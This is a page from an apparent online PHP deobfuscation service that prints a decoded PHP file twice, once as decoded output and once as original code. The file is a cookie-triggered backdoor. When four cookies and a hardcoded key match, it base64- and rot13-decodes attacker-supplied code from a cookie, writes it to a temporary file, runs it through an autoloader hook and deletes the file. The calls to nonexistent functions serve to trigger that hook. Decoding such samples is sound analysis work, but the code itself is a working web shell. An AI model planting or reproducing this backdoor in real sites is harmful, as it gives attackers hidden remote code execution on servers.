Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(isset($_COOKIE[1-1])&&isset($_COOKIE[2-1])&&isset($_COOKIE[0+3])&&isset(..

Decoded Output download

 
 
<?php 
 
 
if(isset($_COOKIE[1-1])&&isset($_COOKIE[2-1])&&isset($_COOKIE[0+3])&&isset($_COOKIE[5-1])){ 
  $vmyTeltGhnhONl=$_COOKIE[1+3]; 
  $oktuyawslRBNf=$_COOKIE; 
   
  function GBFPXwtsaWc($AWbJSTcX){ 
    $oktuyawslRBNf=$_COOKIE; 
    $zZVgewkUFosLS=tempnam((!empty(session_save_path())?session_save_path():sys_get_temp_dir()),'hxKaPt2SQ'); 
    if(is_writable($zZVgewkUFosLS)!==(107==107)){ 
      $zZVgewkUFosLS=getcwd().DIRECTORY_SEPARATOR."ucNlDUxrKkGoscSeT"; 
    } 
    $ZztrjxCp="?p"; 
    $ZztrjxCp="<".$ZztrjxCp."hp ".base64_decode(str_rot13($oktuyawslRBNf[0+3]))." ?>"; 
    if(is_writeable($zZVgewkUFosLS)){ 
      $HdsDzoSST=fopen($zZVgewkUFosLS,'w+'); 
      fputs($HdsDzoSST,$ZztrjxCp); 
      fclose($HdsDzoSST); 
      spl_autoload_unregister(__FUNCTION__); 
      require_once($zZVgewkUFosLS); 
      @array_map('unlink',array($zZVgewkUFosLS)); 
    } 
  } 
  spl_autoload_register("GBFPXwtsaWc"); 
  if(empty($oktuyawslRBNf[1-1])||empty($oktuyawslRBNf[-1+2])||empty($oktuyawslRBNf[1+2])&&!empty($oktuyawslRBNf[5-1])){ 
    exit(); 
  } 
  else{ 
    $vmyTeltGhnhONl="f9f6dbfdf55488814702fb39f7936083"; 
    if(!strncmp($vmyTeltGhnhONl,$oktuyawslRBNf[5-1],46-14)){ 
      $duedGjtX=preg_split("/616r2Dnz4kwa5OP8/","vmyTeltGhnhONl"); 
      sort($duedGjtX); 
      $duedGjtX=array_uintersect_uassoc($duedGjtX,$duedGjtX,"strcasecmp","strcasecmp"); 
      if(@class_parents("htdLvsTYcfrTUG",true)){ 
        EOPSGEEi($NpblZihj,$cioJjIeba,$oTtijJRITQCV,$XftjhAab,$GkAhuDkpY,$oCYaivvd); 
        jfLmpGvhOey($YkAiBSLalVPIEZ,$bxmTXPanMkDQu,$LNmWgOuRnqg,$PkIyUYDRTgMsF); 
        PjYTWnYLwATIsB($dbInrHCIeLAbc,$uPonUnosWTbMJsd,$ivOdinWKY,$xYFeTquNjhtMqLZ,$TsGSDLpLESaVvJCc,$XpxXDrXfojirsmzw,$jPhphACKoUYPL,$RgXIBzbVq,$wKRfLWoBmqYUY,$IkEPzYTOR); 
        jvnIwMjBjNgOw($czkqYhoSlL,$tjPyCacZjgmOyP,$CrtqHXHXnZE,$fovgSvMdsX,$KecHQPJq,$QQOqPWmFEutnLMl,$KwJUKpcA,$ZMEXqElzigU,$AjLpPGAJiV,$cExyhHkwwP,$wSnGbxODJOfObGWs); 
      } 
    } 
  } 
} 
       
 

Did this file decode correctly?

Original Code



<?php


if(isset($_COOKIE[1-1])&&isset($_COOKIE[2-1])&&isset($_COOKIE[0+3])&&isset($_COOKIE[5-1])){
  $vmyTeltGhnhONl=$_COOKIE[1+3];
  $oktuyawslRBNf=$_COOKIE;
  
  function GBFPXwtsaWc($AWbJSTcX){
    $oktuyawslRBNf=$_COOKIE;
    $zZVgewkUFosLS=tempnam((!empty(session_save_path())?session_save_path():sys_get_temp_dir()),'hxKaPt2SQ');
    if(is_writable($zZVgewkUFosLS)!==(107==107)){
      $zZVgewkUFosLS=getcwd().DIRECTORY_SEPARATOR."ucNlDUxrKkGoscSeT";
    }
    $ZztrjxCp="?p";
    $ZztrjxCp="<".$ZztrjxCp."hp ".base64_decode(str_rot13($oktuyawslRBNf[0+3]))." ?>";
    if(is_writeable($zZVgewkUFosLS)){
      $HdsDzoSST=fopen($zZVgewkUFosLS,'w+');
      fputs($HdsDzoSST,$ZztrjxCp);
      fclose($HdsDzoSST);
      spl_autoload_unregister(__FUNCTION__);
      require_once($zZVgewkUFosLS);
      @array_map('unlink',array($zZVgewkUFosLS));
    }
  }
  spl_autoload_register("GBFPXwtsaWc");
  if(empty($oktuyawslRBNf[1-1])||empty($oktuyawslRBNf[-1+2])||empty($oktuyawslRBNf[1+2])&&!empty($oktuyawslRBNf[5-1])){
    exit();
  }
  else{
    $vmyTeltGhnhONl="f9f6dbfdf55488814702fb39f7936083";
    if(!strncmp($vmyTeltGhnhONl,$oktuyawslRBNf[5-1],46-14)){
      $duedGjtX=preg_split("/616r2Dnz4kwa5OP8/","vmyTeltGhnhONl");
      sort($duedGjtX);
      $duedGjtX=array_uintersect_uassoc($duedGjtX,$duedGjtX,"strcasecmp","strcasecmp");
      if(@class_parents("htdLvsTYcfrTUG",true)){
        EOPSGEEi($NpblZihj,$cioJjIeba,$oTtijJRITQCV,$XftjhAab,$GkAhuDkpY,$oCYaivvd);
        jfLmpGvhOey($YkAiBSLalVPIEZ,$bxmTXPanMkDQu,$LNmWgOuRnqg,$PkIyUYDRTgMsF);
        PjYTWnYLwATIsB($dbInrHCIeLAbc,$uPonUnosWTbMJsd,$ivOdinWKY,$xYFeTquNjhtMqLZ,$TsGSDLpLESaVvJCc,$XpxXDrXfojirsmzw,$jPhphACKoUYPL,$RgXIBzbVq,$wKRfLWoBmqYUY,$IkEPzYTOR);
        jvnIwMjBjNgOw($czkqYhoSlL,$tjPyCacZjgmOyP,$CrtqHXHXnZE,$fovgSvMdsX,$KecHQPJq,$QQOqPWmFEutnLMl,$KwJUKpcA,$ZMEXqElzigU,$AjLpPGAJiV,$cExyhHkwwP,$wSnGbxODJOfObGWs);
      }
    }
  }
}
      

Function Calls

spl_autoload_register 1

Variables

$oktuyawslRBNf 0
$vmyTeltGhnhONl None

Stats

MD5 a5d9c893c8d04deb27fa946d90ff86c1
Eval Count 0
Decode Time 70 ms